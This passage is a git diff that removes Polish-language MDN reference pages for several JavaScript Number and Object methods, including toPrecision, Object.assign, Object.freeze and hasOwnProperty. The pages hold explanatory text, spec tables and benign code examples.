-// Japoński yen
-console.log(liczba.toLocaleString('ja-JP', { style: 'currency', currency: 'JPY' }))
-// → ¥123,457
-
-// ogranicz wyświetlanie do 3 miejsc znaczących
-console.log(liczba.toLocaleString('en-IN', { maximumSignificantDigits: 3 }));
-// → 1,23,000
-
-// Użyj domyślnego języka hosta z opcjami formatowania liczby
-var num = 30000.65;
-console.log(num.toLocaleString(undefined, {minimumFractionDigits: 2, maximumFractionDigits: 2}));
-// → "30,000.65" w języku angielskim lub
-// → "30.000,65" w języku niemieckiem lub
-// → "30 000,65" w języku francuskim
-
- -

Wydajność

- -

Jeśli zamierzasz formatować wiele liczb, lepiej użyć obiektu {{jsxref("NumberFormat")}} i formatować przy pomocy metody {{jsxref("NumberFormat.format")}}.

- -

Specyfikacje

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES3')}}{{Spec2('ES3')}}Pierwsza definicja. Zaimplementowane w JavaScript 1.5.
{{SpecName('ES5.1', '#sec-15.7.4.3', 'Number.prototype.toLocaleString')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-number.prototype.tolocalestring', 'Number.prototype.toLocaleString')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-number.prototype.tolocalestring', 'Number.prototype.toLocaleString')}}{{Spec2('ESDraft')}} 
{{SpecName('ES Int 1.0', '#sec-13.2.1', 'Number.prototype.toLocaleString')}}{{Spec2('ES Int 1.0')}} 
{{SpecName('ES Int 2.0', '#sec-13.2.1', 'Number.prototype.toLocaleString')}}{{Spec2('ES Int 2.0')}} 
{{SpecName('ES Int Draft', '#sec-Number.prototype.toLocaleString', 'Number.prototype.toLocaleString')}}{{Spec2('ES Int Draft')}} 
- -

Kompatybilność

- - - -

{{Compat("javascript.builtins.Number.toLocaleString")}}

- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/number/toprecision/index.html b/files/pl/web/javascript/referencje/obiekty/number/toprecision/index.html deleted file mode 100644 index 33d5c0f1ed..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/number/toprecision/index.html +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: Number.prototype.toPrecision() -slug: Web/JavaScript/Referencje/Obiekty/Number/toPrecision -tags: - - JavaScript - - Method - - Number - - Prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Number/toPrecision ---- -

{{jsref}}

- -

Podsumowanie

- -

Zwraca łańcuch znaków reprezentujący dany obiekt Number z określoną dokładnością.

- -

Składnia

- -
numObj.toPrecision([precision])
- -

Parametr

- -
-
precision
-
Liczba całkowita określająca liczbę cyfr po kropce dziesiętnej.
-
- -

Zwraca

- -

Łańcuch znaków reprezentujący obiekt {{jsxref("Number")}} w notacji stałoprzecinkowej lub wykładniczej z zaokrągleniem do tylu ważnych cyfr, ile wskazuje wartość precision.

- -

Jeśli metoda toPrecision() zostanie użyta do literałów liczbowych, które nie posiadają wykładnika i kropki dziesiętnej, należy wstawić spację przed kropką poprzedzającą wywołanie metody, aby zapobiec zinterpretowaniu tej kropki jako kropki dziesiętnej.

- -

Jeśli argument precision zostanie pominięty, metoda zachowuje się jak {{jsxref("Number.prototype.toString()")}}.

- -

Jeśli liczba posiada więcej cyfr niż określono przez parametr precision, jest ona zaokrąglana do najbliższej liczby o ilości cyfr wskazanej przez wartość precision. Zobacz dyskusję na temat zaokrąglania w opisie metody {{jsxref("Number.prototype.toFixed()")}}, która również odnosi się do metody toPrecision.

- -

Przykład

- -
var num=5.123456;
-
-console.log("num.toPrecision() is " + num.toPrecision()); //wyświetli 5.123456
-console.log("num.toPrecision(4) is " + num.toPrecision(4)); //wyświetli 5.123
-console.log("num.toPrecision(2) is " + num.toPrecision(2)); //wyświetli  5.1
-console.log("num.toPrecision(1) is " + num.toPrecision(1)); //wyświetli 5
-console.log("1250 .toPrecision(2) is " + 1250 .toPrecision(2)); //wyświetli 1.3e+3
-console.log("1250 .toPrecision(5) is " + 1250 .toPrecision(5)); //wyświetli 1250.0
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/number/tostring/index.html b/files/pl/web/javascript/referencje/obiekty/number/tostring/index.html deleted file mode 100644 index cd29571aee..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/number/tostring/index.html +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: Number.prototype.toString() -slug: Web/JavaScript/Referencje/Obiekty/Number/toString -tags: - - JavaScript - - Method - - Number - - Prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Number/toString ---- -

{{JSRef}}

- -

Podsumowanie

- -

Zwraca łańcuch znaków reprezentujący dany obiekt {{jsxref("Number")}}.

- -

Składnia

- -
numObj.toString([radix])
- -

Parametr

- -
-
radix
-
Liczba całkowita z zakresu od 2 do 36 określająca podstawę użytą do reprezentacji wartości liczbowych.
-
- -

Opis

- -

Obiekt Number przesłania metodę toString obiektu {{jsxref("Object")}}; nie dziedziczy {{jsxref("Object.prototype.toString()")}}. Dla obiektów Number metoda toString() zwraca łańcuch znaków reprezentujący obiekt w danej podstawie wyliczeń.

- -

Metoda toString przetwarza pierwszy podany argument i próbuje zwrócić reprezentację w postaci łańcucha znaków w określonej podstawie wyliczeń. Dla podstawy większej od 10 litery alfabetu wskazują liczby większe niż 9. Przykładowo dla liczb heksadecymalnych (podstawa 16) użyte zostaną litery od A do F.

- -

Jeśli jako argument toString() podano podstawę nie będącą w zakresie od 2 do 36, zostanie wywołany wyjątek.

- -

Jeśli podstawa nie została określona, JavaScript przyjmuje za podstawę wartość 10.

- -

Przykłady

- -
var count = 10;
-
-console.log(count.toString());    // displays '10'
-console.log((17).toString());     // displays '17'
-
-var x = 6;
-
-console.log(x.toString(2));       // displays '110'
-console.log((254).toString(16));  // displays 'fe'
-
-console.log((-10).toString(2));   // displays '-1010'
-console.log((-0xff).toString(2)); // displays '-11111111'
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/object/assign/index.html b/files/pl/web/javascript/referencje/obiekty/object/assign/index.html deleted file mode 100644 index 81e764456a..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/object/assign/index.html +++ /dev/null @@ -1,307 +0,0 @@ ---- -title: Object.assign() -slug: Web/JavaScript/Referencje/Obiekty/Object/assign -translation_of: Web/JavaScript/Reference/Global_Objects/Object/assign ---- -
{{JSRef}}
- -

Metoda Object.assign() kopiuje wszystkie wartości wyliczalnych własnych właściwości z jednego lub więcej obiektów źródłowych do obiektu docelowego. Zwraca obiekt docelowy.

- -

Składnia

- -
Object.assign(cel, ...zrodla)
- -

Parameters

- -
-
cel
-
Obiekt docelowy.
-
zrodla
-
Obiekt(y) żródłowe.
-
- -

Zwracana wartość

- -

Obiekt docelowy.

- -

Opis

- -

Właściwości w obiekcie docelowym zostaną nadpisane właściwościami obiektów źródłowych, jeśli właściwości te mają takie same nazwy. Właściwości obiektów źródłowych występujących później na liście argumentów, podobnie, nadpiszą właściwości obiektów występujących wcześniej.

- -

Metoda Object.assign() jedynie kopiuje wyliczalnewłasne właściwości z obiektów źródłowych do obiektu docelowego. Używa do tego [[Get]] na źródle oraz [[Set]] na obiekcie docelowym, więc wywołuje gettery i settery odpowiednich obiektów. Dlatego też mowa tu o przypisaniu właściwości, a nie o ich kopiowaniu czy tworzeniu nowych. Metoda ta może być więc nieodpowiednia do przyłączania nowych właściwości do prototypu, w przypadku gdy źródła przyłączenia zawierają gettery. Do kopiowania definicji właściwości, wliczając ich wyliczalność, do prototypów należy użyć {{jsxref("Object.getOwnPropertyDescriptor()")}} oraz {{jsxref("Object.defineProperty()")}}.

- -

Obie właściwości {{jsxref("String")}} jak i {{jsxref("Symbol")}} są kopiowane.

- -

W przypadku błędu, na przykład gdy wartość jest zabezpieczona przed zapisem, zostanie rzucony błąd {{jsxref("TypeError")}}, a obiekt docelowy może zostać zmieniony, jeśli jakieś właściwości zostały do niego dodane przed wystąpieniem błędu.

- -

Zauważ, że Object.assign() nie rzuci błędu, gdy źródłem jest {{jsxref("null")}} lub {{jsxref("undefined")}}.

- -

Przykłady

- -

Klonowanie obiektu

- -
var obiekt = { a: 1 };
-var kopia = Object.assign({}, obiekt);
-console.log(kopia); // { a: 1 }
-
- -

Ostrzeżenie przed Głębokim Klonowaniem

- -

W przypadku głębokiego klonowania musimy użyć innych sposóbów, ponieważ Object.assign() kopiuje jedynie wartości przechowywane we właściwościach. Jeżeli właściwość źródłowa jest referencją do obiektu, to skopiowana zostanie jedynie ta referencja (wówczas zarówno źródło jak i cel będą posiadać referencję do tego samego obiektu, a nie osobne kopie tych obiektów).

- -
function test() {
-  'use strict';
-
-  let obj1 = { a: 0 , b: { c: 0}};   // a: wartość, b: referencja, c: wartość
-  let obj2 = Object.assign({}, obj1);
-  console.log(JSON.stringify(obj2)); // { a: 0, b: { c: 0}}
-
-  obj1.a = 1; // zmiana wartości, dotyczy tylko obj1
-  console.log(JSON.stringify(obj1)); // { a: 1, b: { c: 0}}
-  console.log(JSON.stringify(obj2)); // { a: 0, b: { c: 0}}
-
-  obj2.a = 2; // zmiana wartości, dotyczy tylko obj2
-  console.log(JSON.stringify(obj1)); // { a: 1, b: { c: 0}}
-  console.log(JSON.stringify(obj2)); // { a: 2, b: { c: 0}}
-
-  obj2.b.c = 3; // zmiana wartości w obiekcie o współdzielonej referencji
-  console.log(JSON.stringify(obj1)); // { a: 1, b: { c: 3}} // teraz b.c == 3
-  console.log(JSON.stringify(obj2)); // { a: 2, b: { c: 3}} // i tu też b.c == 3, bo obj1.b === obj2.b
-
-  // Klonowanie głębokie
-  obj1 = { a: 0 , b: { c: 0}};
-  let obj3 = JSON.parse(JSON.stringify(obj1));
-  obj1.a = 4;
-  obj1.b.c = 4;
-  console.log(JSON.stringify(obj3)); // { a: 0, b: { c: 0}} // obj1.b !== obj2.b
-}
-
-test();
- -

Łączenie obiektów

- -
var o1 = { a: 1 };
-var o2 = { b: 2 };
-var o3 = { c: 3 };
-
-var obj = Object.assign(o1, o2, o3);
-console.log(obj); // { a: 1, b: 2, c: 3 }
-console.log(o1);  // { a: 1, b: 2, c: 3 }, sam obiekt docelowy został zmieniony.
- -

Łączenie obiektów z tymi samymi właściowściami

- -
var o1 = { a: 1, b: 1, c: 1 };
-var o2 = { b: 2, c: 2 };
-var o3 = { c: 3 };
-
-var obj = Object.assign({}, o1, o2, o3);
-console.log(obj); // { a: 1, b: 2, c: 3 }
- -

Właściwość jest nadpisywana przez ostatni obiekt w liście parametrów, który ma taką samą właściwość.

- -

Kopiowanie właściwości-symboli

- -
var o1 = { a: 1 };
-var o2 = { [Symbol('foo')]: 2 };
-
-var obj = Object.assign({}, o1, o2);
-console.log(obj); // { a : 1, [Symbol("foo")]: 2 } (cf. bug 1207182 on Firefox)
-Object.getOwnPropertySymbols(obj); // [Symbol(foo)]
-
- -

Właściwości nieprzeliczalne oraz te z łańcucha prototypów nie są kopiowane

- -
var obj = Object.create({ foo: 1 }, { // foo jest właściwością prototypu obiektu obj
-  bar: {
-    value: 2  // bar jest nieprzeliczalną właściwością
-  },
-  baz: {
-    value: 3,
-    enumerable: true  // baz jest własną, przeliczalną właściwością obiektu obj
-  }
-});
-
-var kopia = Object.assign({}, obj);
-console.log(kopia); // { baz: 3 }
-
- -

Wartości podstawowe zostaną włożone do ich wrapperów

- -
var v1 = 'abc';
-var v2 = true;
-var v3 = 10;
-var v4 = Symbol('foo');
-
-var obj = Object.assign({}, v1, null, v2, undefined, v3, v4);
-// Wartości podstawowe będą we wrapperach, null i undefined zostaną zignorowane.
-// Zauważ, że jedynie wrapper string'a ma przeliczalne właściwości:
-console.log(obj); // { "0": "a", "1": "b", "2": "c" }
-
- -

Wyjątki przerwą wykonywanie kopiowania

- -
var cel = Object.defineProperty({}, 'foo', {
-  value: 1,
-  writable: false
-}); // cel.foo jest właściwością tylko do odczytu
-
-Object.assign(cel, { bar: 2 }, { foo2: 3, foo: 3, foo3: 3 }, { baz: 4 });
-// TypeError: "foo" is read-only
-// Wyjątek został wyrzucony podczas próby zapisania cel.foo
-
-console.log(cel.bar);  // 2, pierwsze źródło zostało skopiowane pomyślnie
-console.log(cel.foo2); // 3, pierwsza właściwość drugiego źródła zostało skopiowana pomyślnie
-console.log(cel.foo);  // 1, tutaj został wyrzucony wyjątek
-console.log(cel.foo3); // undefined, kopiowanie dobiegło końca, foo3 nie zostanie skopiowane
-console.log(cel.baz);  // undefined, trzecie źródło również nie zostanie skopiowane
-
- -

Kopiowanie operatorów pamięci

- -
var obj = {
-  foo: 1,
-  get bar() {
-    return 2;
-  }
-};
-
-var kopia = Object.assign({}, obj);
-console.log(kopia);
-// { foo: 1, bar: 2 }, wartość kopia.bar jest wartością zwracaną przez metodę getter właściwości obj.bar
-
-// Funkcja przypisania kopiująca całe deskryptory:
-function completeAssign(cel, ...zrodla) {
-  zrodla.forEach(zrodlo => {
-    let deskryptory = Object.keys(zrodlo).reduce((deskryptory, klucz) => {
-      deskryptory[klucz] = Object.getOwnPropertyDescriptor(zrodlo, klucz);
-      return deskryptory;
-    }, {});
-    // domyślnie Object.assign kopiuje również przeliczalne symbole
-    Object.getOwnPropertySymbols(zrodlo).forEach(sym => {
-      let deskryptor = Object.getOwnPropertyDescriptor(zrodlo, sym);
-      if (deskryptor.enumerable) {
-        deskryptory[sym] = deskryptor;
-      }
-    });
-    Object.defineProperties(cel, deskryptory);
-  });
-  return target;
-}
-
-var kopia = completeAssign({}, obj);
-console.log(kopia);
-// { foo:1, get bar() { return 2 } }
-
- -

Polyfill

- -

Ten {{Glossary("Polyfill","polyfill")}} nie wspiera właściwości-symboli, ponieważ ES5 i tak ich nie ma.

- -
if (typeof Object.assign != 'function') {
-  Object.assign = function(target, varArgs) { // .length of function is 2
-    'use strict';
-    if (target == null) { // TypeError if undefined or null
-      throw new TypeError('Cannot convert undefined or null to object');
-    }
-
-    var to = Object(target);
-
-    for (var index = 1; index < arguments.length; index++) {
-      var nextSource = arguments[index];
-
-      if (nextSource != null) { // Skip over if undefined or null
-        for (var nextKey in nextSource) {
-          // Avoid bugs when hasOwnProperty is shadowed
-          if (Object.prototype.hasOwnProperty.call(nextSource, nextKey)) {
-            to[nextKey] = nextSource[nextKey];
-          }
-        }
-      }
-    }
-    return to;
-  };
-}
-
- -

Specyfikacje

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES2015', '#sec-object.assign', 'Object.assign')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-object.assign', 'Object.assign')}}{{Spec2('ESDraft')}}
- -

Kompatybilność z przeglądarką

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerEdgeOperaSafari
Basic support{{CompatChrome("45")}}{{CompatGeckoDesktop("34")}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatOpera("32")}}{{CompatSafari("9")}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatChrome("45")}}{{CompatGeckoMobile("34")}}{{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}
-
- -

Zobacz również

- - diff --git a/files/pl/web/javascript/referencje/obiekty/object/constructor/index.html b/files/pl/web/javascript/referencje/obiekty/object/constructor/index.html deleted file mode 100644 index 3de20f1350..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/object/constructor/index.html +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: Object.prototype.constructor -slug: Web/JavaScript/Referencje/Obiekty/Object/constructor -tags: - - JavaScript - - Object - - Property -translation_of: Web/JavaScript/Reference/Global_Objects/Object/constructor ---- -

{{JSRef}}

- -

Podsumowanie

- -

Określa funkcję tworzącą prototyp obiektu. Należy pamiętać, że wartość tej własności jest referencją do funkcji, a nie łańcuchem znaków zawierającym jej nazwę.

- -

Opis

- -

Wszystkie obiekty dziedziczą własność constructor z ich prototypu (prototype):

- -
var o = {};
-o.constructor === Object; // true
-
-var a = [];
-a.constructor === Array; // true
-
-var n = new Number(3);
-n.constructor === Number; // true
-
- -

Przykłady

- -

Przykład: Wyświetlanie konstruktora obiektu

- -

Poniższy przykład tworzy prototyp, Drzewo i obiekt tego typu sosna. Następnie wyświetlana jest własność constructor obiektu Drzewo.

- -
function Drzewo(nazwa) {
-   this.nazwa=nazwa;
-}
-
-sosna = new Drzewo("sosna");
-console.log("sosna.constructor to " + sosna.constructor)
-
- -

Przykład ten wyświetla:

- -
sosna.constructor to function Drzewo(nazwa) {
-   this.nazwa = nazwa;
-}
-
diff --git a/files/pl/web/javascript/referencje/obiekty/object/freeze/index.html b/files/pl/web/javascript/referencje/obiekty/object/freeze/index.html deleted file mode 100644 index 73e0139f31..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/object/freeze/index.html +++ /dev/null @@ -1,201 +0,0 @@ ---- -title: Object.freeze() -slug: Web/JavaScript/Referencje/Obiekty/Object/freeze -translation_of: Web/JavaScript/Reference/Global_Objects/Object/freeze ---- -
{{JSRef}}
- -
Metoda Object.freeze() "zamraża" obiekt, tzn. uniemożliwia dodawania nowych właściwości do obiektu; uniemożliwia usuwanie istniejących właściwości; uniemożliwia zmianę istniejących właściwości; oraz uniemożliwia zmianę prototypu obiektu. W efekcie obiekt jest naprawdę stały. Metoda zwraca obiekt w stanie "zamrożonym".
- -
 
- -

Składnia

- -
Object.freeze(obj)
- -

Argumenty

- -
-
obj
-
Obiekt który ma zostać "zamrożony".
-
- -

Zwracana wartość

- -

"Zamrożony" obiekt.

- -

Opis

- -

Nic nie może zostać dodane ani usunięte z "zamrożonego" obiektu. Każda próba tego wywoła błąd, albo po cichu, albo rzucając wyjątek {{jsxref("TypeError")}}(zawzwyczaj, choć nie zawsze, w przypadku używania {{jsxref("Strict_mode", "strict mode", "", 1)}}).

- -

Nie ma możliwości zmiany wartości właściwości obiektu. Metody dostępu (gettery i settery) działają bez zmian (sprawiają wrażenie skutecznej zmiany właściwości obiektu). Zwróć uwagę na to, że wartości, które są obiektami w dalszym ciągu mogą być modyfikowane, chyba że również są "zamrożone". Z uwagi na to, że Tablica (Array) jest obiektem, również może zostać zamrożona co uniemożliwi zmianę jej elementów, ich usuwanie oraz dodawanie nowych. 

- -

Przykłady

- -

 

- -

Zamrażanie Obiektów

- -

 

- -
var obj = {
-  prop: function() {},
-  foo: 'bar'
-};
-
-// Nowe właściwości mogą być dodawane, istniejące mogą być zmieniane oraz usuwane
-obj.foo = 'baz';
-obj.lumpy = 'woof';
-delete obj.prop;
-
-// Zarówno obiekt przekazywany w funkcji freeze() jak i obiekt zwracany bedą "zamrożone"
-// Nie ma potrzeby przypisywania zwracanego obiektu do zmiennej jeśli chcemy tylko "zamrozić" obiekt przekazywany w funkcji
-var o = Object.freeze(obj);
-
-o === obj; // true
-Object.isFrozen(obj); // === true
-
-// Teraz wszelkie zmiany są niemożliwe
-obj.foo = 'quux'; // brak rezultatu nieskutkujący wyświetleniem błędu
-obj.quaxxor = 'the friendly duck'; // brak rezultatu nieskutkujący wyświetleniem błędu
-
-// przy strict mode tego typu próby spowodują wyświetlenie komunikatu o błędzie
-function fail(){
-  'use strict';
-  obj.foo = 'sparky'; // TypeError
-  delete obj.quaxxor; // TypeError
-  obj.sparky = 'arf'; // TypeError
-}
-
-fail();
-
-// Próby zmian poprzez Object.defineProperty spowodują wyświetlenie komunikatu o błędzie
-Object.defineProperty(obj, 'ohai', { value: 17 }); // TypeError
-Object.defineProperty(obj, 'foo', { value: 'eit' }); // TypeError
-
-// Niemożliwa jest również zmiana prototypu obiektu. Obie instrukcje poniżej wygenerują błąd
-Object.setPrototypeOf(obj, { x: 20})
-obj.__proto__ = { x: 20}
-
- -

Zamrażanie Tablic (Array)

- -

 

- -
let a = [0];
-Object.freeze(a); // Tablica nie może być teraz modyfikowana
-
-a[0]=1; // brak rezultatu nieskutkujący wyświetleniem błędu
-a.push(2); // brak rezultatu nieskutkujący wyświetleniem błędu
-
-// przy strict mode tego typu próby spowodują wyświetlenie komunikatu o błędzie TypeErrors
-function fail() {
-  "use strict"
-  a[0] = 1;
-  a.push(2);
-}
-
-fail();
- -

"Zamrożony" obiekt jest niemutowalny. Nie jest on jednak stałą. Obrazuje to poniższy przykład.

- -
obj1 = {
-  internal: {}
-};
-
-Object.freeze(obj1);
-obj1.internal.a = 'aValue';
-
-obj1.internal.a // 'aValue'
-
- -

 

- -

To be a constant object, the entire reference graph (direct and indirect references to other objects) must reference only immutable frozen objects.  The object being frozen is said to be immutable because the entire object state (values and references to other objects) within the whole object is fixed.  Note that strings, numbers, and booleans are always immutable and that Functions and Arrays are objects. 

- -

To make an object constant, recursively freeze each property which is of type object (deep freeze).  Use the pattern on a case-by-case basis based on your design when you know the object contains no cycles in the reference graph, otherwise an endless loop will be triggered.   An enhancement to deepFreeze() would be to have an internal function that receives a path (e.g. an Array) argument so you can supress calling deepFreeze() recursively when an object is in the process of being made constant.  You still run a risk of freezing an object that shouldn't be frozen, such as [window].

- -
// To do so, we use this function.
-function deepFreeze(obj) {
-
-  // Retrieve the property names defined on obj
-  var propNames = Object.getOwnPropertyNames(obj);
-
-  // Freeze properties before freezing self
-  propNames.forEach(function(name) {
-    var prop = obj[name];
-
-    // Freeze prop if it is an object
-    if (typeof prop == 'object' && prop !== null)
-      deepFreeze(prop);
-  });
-
-  // Freeze self (no-op if already frozen)
-  return Object.freeze(obj);
-}
-
-obj2 = {
-  internal: {}
-};
-
-deepFreeze(obj2);
-obj2.internal.a = 'anotherValue';
-obj2.internal.a; // unde
- -

 

- -

 

- -

Notes

- -

In ES5, if the argument to this method is not an object (a primitive), then it will cause a {{jsxref("TypeError")}}. In ES2015, a non-object argument will be treated as if it were a frozen ordinary object, and be simply returned.

- -
> Object.freeze(1)
-TypeError: 1 is not an object // ES5 code
-
-> Object.freeze(1)
-1                             // ES2015 code
-
- -

Specifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES5.1', '#sec-15.2.3.9', 'Object.freeze')}}{{Spec2('ES5.1')}}Initial definition. Implemented in JavaScript 1.8.5.
{{SpecName('ES2015', '#sec-object.freeze', 'Object.freeze')}}{{Spec2('ES2015')}} 
{{SpecName('ESDraft', '#sec-object.freeze', 'Object.freeze')}}{{Spec2('ESDraft')}} 
- -

Browser compatibility

- -
-

{{Compat("javascript.builtins.Object.freeze")}}

-
- -

See also

- - diff --git a/files/pl/web/javascript/referencje/obiekty/object/getownpropertydescriptor/index.html b/files/pl/web/javascript/referencje/obiekty/object/getownpropertydescriptor/index.html deleted file mode 100644 index 3f9498b26e..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/object/getownpropertydescriptor/index.html +++ /dev/null @@ -1,121 +0,0 @@ ---- -title: Object.getOwnPropertyDescriptor() -slug: Web/JavaScript/Referencje/Obiekty/Object/getOwnPropertyDescriptor -translation_of: Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptor ---- -
{{JSRef}}
- -

Metoda Object.getOwnPropertyDescriptor() zwraca deskryptor definiujący stan właściwości (właściwość musi być zdefiniowana bezpośrednio na obiekcie, ponieważ metoda nie sprawdza właściwości w łańcuchu prototypów obiektu) dla podanego obiektu.

- -

Składnia

- -
Object.getOwnPropertyDescriptor(obj, prop)
- -

Argumenty

- -
-
obj
-
Obiekt, w którym będzie poszukiwana właściwość.
-
prop
-
Nazwa właściwości, dla której będzie pobrany deskryptor.
-
- -

Wartość zwracana

- -

Jeżeli obiekt posiada podaną właściwość, wówczas zostanie zwrócony jej deskryptor, w przeciwnym razie zostanie zwrócony {{jsxref("undefined")}}.

- -

Opis

- -

Metoda ta pozwala na dokładne zbadanie stanu właściwości. W rzeczywistości właściwość obiektu w JavaScript to nie tylko jej nazwa oraz wartość ale również odpowiadający jej deskryptor. Więcej informacji o atrybutach deskryptora można znaleźć w {{jsxref("Object.defineProperty()")}}.

- -

Deskryptor właściwości jest obiektem zawierającym poniższe atrybuty:

- -
-
value
-
Wartość związana z odpowiadającą właściwością (tylko dla deskryptorów danych).
-
writable
-
Jeżeli true odpowiadająca wartość właściwości może być zmieniona (tylko dla deskryptorów danych).
-
get
-
Funkcja, która zwraca getter dla odpowiadającej właściwości lub {{jsxref("undefined")}} jeżeli getter nie występuje (tylko dla deskryptorów dostępowych).
-
set
-
Funkcja, która zwraca setter dla odpowiadającej właściwości lub {{jsxref("undefined")}} jeżeli setter nie występuje (tylko dla deskryptorów dostępowych).
-
configurable
-
Jeżeli true odpowiadająca wartość właściwości może być zmieniona (również ich rodzaj - z właściwości danych na właściwość funkcji dostępowych, i odwrotnie) oraz usunięta z odopowiadającego obiektu.
-
enumerable
-
Jeżeli true odpowiadająca wartość właściwości będzie dostępna podczas iteracji po właściwosciach odpowiadającego obiektu.
-
- -

Przykłady

- -
var o, d;
-
-o = { get foo() { return 17; } };
-d = Object.getOwnPropertyDescriptor(o, 'foo');
-// d is { configurable: true, enumerable: true, get: /*the getter function*/, set: undefined }
-
-o = { bar: 42 };
-d = Object.getOwnPropertyDescriptor(o, 'bar');
-// d is { configurable: true, enumerable: true, value: 42, writable: true }
-
-o = {};
-Object.defineProperty(o, 'baz', { value: 8675309, writable: false, enumerable: false });
-d = Object.getOwnPropertyDescriptor(o, 'baz');
-// d is { value: 8675309, writable: false, enumerable: false, configurable: false }
-
- -

Uwagi

- -

W ES5, jeżeli pierwszy argument dla podanej metody nie jest obiektem (jest typem prostym), wówczas zostanie wyrzucony wyjątek {{jsxref("TypeError")}}. Natomiast w ES2015, na typie prymitywnym najpierw zostanie wykonana koercja do obiektu.

- -
Object.getOwnPropertyDescriptor('foo', 0);
-// TypeError: "foo" is not an object  // ES5 code
-
-Object.getOwnPropertyDescriptor('foo', 0);
-// {configurable:false, enumerable:true, value:"f", writable:false}  // ES2015 code
-
- -

Specyfikacje

- - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES5.1', '#sec-15.2.3.3', 'Object.getOwnPropertyDescriptor')}}{{Spec2('ES5.1')}}Initial definition. Implemented in JavaScript 1.8.5.
{{SpecName('ES6', '#sec-object.getownpropertydescriptor', 'Object.getOwnPropertyDescriptor')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-object.getownpropertydescriptor', 'Object.getOwnPropertyDescriptor')}}{{Spec2('ESDraft')}} 
- -

Kompatybilność przeglądarkowa

- -
-
- - -

{{Compat("javascript.builtins.Object.getOwnPropertyDescriptor")}}

-
-
- -

 

- -

Zobacz również

- - diff --git a/files/pl/web/javascript/referencje/obiekty/object/hasownproperty/index.html b/files/pl/web/javascript/referencje/obiekty/object/hasownproperty/index.html deleted file mode 100644 index 42bb16783b..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/object/hasownproperty/index.html +++ /dev/null @@ -1,150 +0,0 @@ ---- -title: Object.prototype.hasOwnProperty() -slug: Web/JavaScript/Referencje/Obiekty/Object/hasOwnProperty -translation_of: Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty ---- -
{{JSRef("Global_Objects", "Object")}}
- -

Wstęp

- -

Metoda hasOwnProperty() zwraca wartość true jeśli obiekt, na którym została wywołana posiada konkretną własność.

- -

Składnia

- -
obj.hasOwnProperty(prop)
- -

Parametry

- -
-
prop
-
Nazwa ({{jsxref("String")}}) własności lub Symbol, do sprawdzenia.
-
- -

Wartość zwracana

- -

A {{jsxref ("Boolean")}} wskazujący, czy obiekt zawiera w sobie określoną właściwość.

- -

Opis

- -

Każdy obiekt pochodzący od {{jsxref("Global_Objects/Object", "Object")}} dziedziczy metodę hasOwnProperty. Może być ona użyta do stwierdzenia czy obiekt posiada określoną własność, jako bezpośrednią (direct) własność. W przeciwieństwie do  operatora {{jsxref("Operators/in", "in")}}, metoda hasOwnProperty nie sprawdza w głąb łańcucha własności obiektu.

- -

Notatka

- -

hasOwnProperty zwraca true, nawet jeśli wartość właściwości to null lub undefined.

- -
o = new Object();
-o.propOne = null;
-o.hasOwnProperty('propOne');   // zwraca true
-o.propTwo = undefined;
-o.hasOwnProperty('propTwo');   // zwraca true
-
- -

Przykłady

- -

Użycie hasOwnProperty do testowania istnienia własności

- -

Poniższy przykład określa czy obiekt o posiada własność o nazwie prop:

- -
o = new Object();
-o.hasOwnProperty('prop');   // zwraca false
-o.prop = 'istnieje';
-o.hasOwnProperty('prop');   // zwraca true
- -

Własności bezpośrednie kontra odziedziczone

- -

Poniższy przykład rozróżnia bezpośrednie właściwości z właściwościami dziedziczonymi w łańcuchu prototypów:

- -
o = new Object();
-o.prop = 'istnieje';
-o.hasOwnProperty('prop');             // zwraca true
-o.hasOwnProperty('toString');         // zwraca false
-o.hasOwnProperty('hasOwnProperty');   // zwraca false
-
- -

Iterowanie przez właściwości obiektu

- -

Poniższy przykład ilustruje sposób iteracji po właściwościach obiektu bez wykonywania iteracji na dziedziczonych właściwościach.

- -
const obj = {
-  prop: 'Wartość',
-  secondProp: 'Wartość 2'
-}
-
-for (const name in obj) {
-  if (obj.hasOwnProperty(name)) {
-    console.log('Znaleziono własność ' + name + ' o wartości ' + obj[name])
-  } else {
-    console.log('Brak własności: ', name)
-  }
-}
- -
-

Zwróć uwagę, że pętla {{jsxref("Statements/for...in", "for...in")}} tylko iteruje właściwości przeliczalne, a nieprzeliczanych nie zauważa.

-
- -

Używanie hasOwnProperty jako nazwy właściwości

- -

JavaScript nie chroni nazwy właściwości hasOwnProperty; tak więc, jeśli istnieje możliwość, że obiekt może mieć właściwość o tej nazwie, konieczne jest użycie zewnętrznej właściwości hasOwnProperty, aby uzyskać poprawne wyniki:

- -
const obj = {
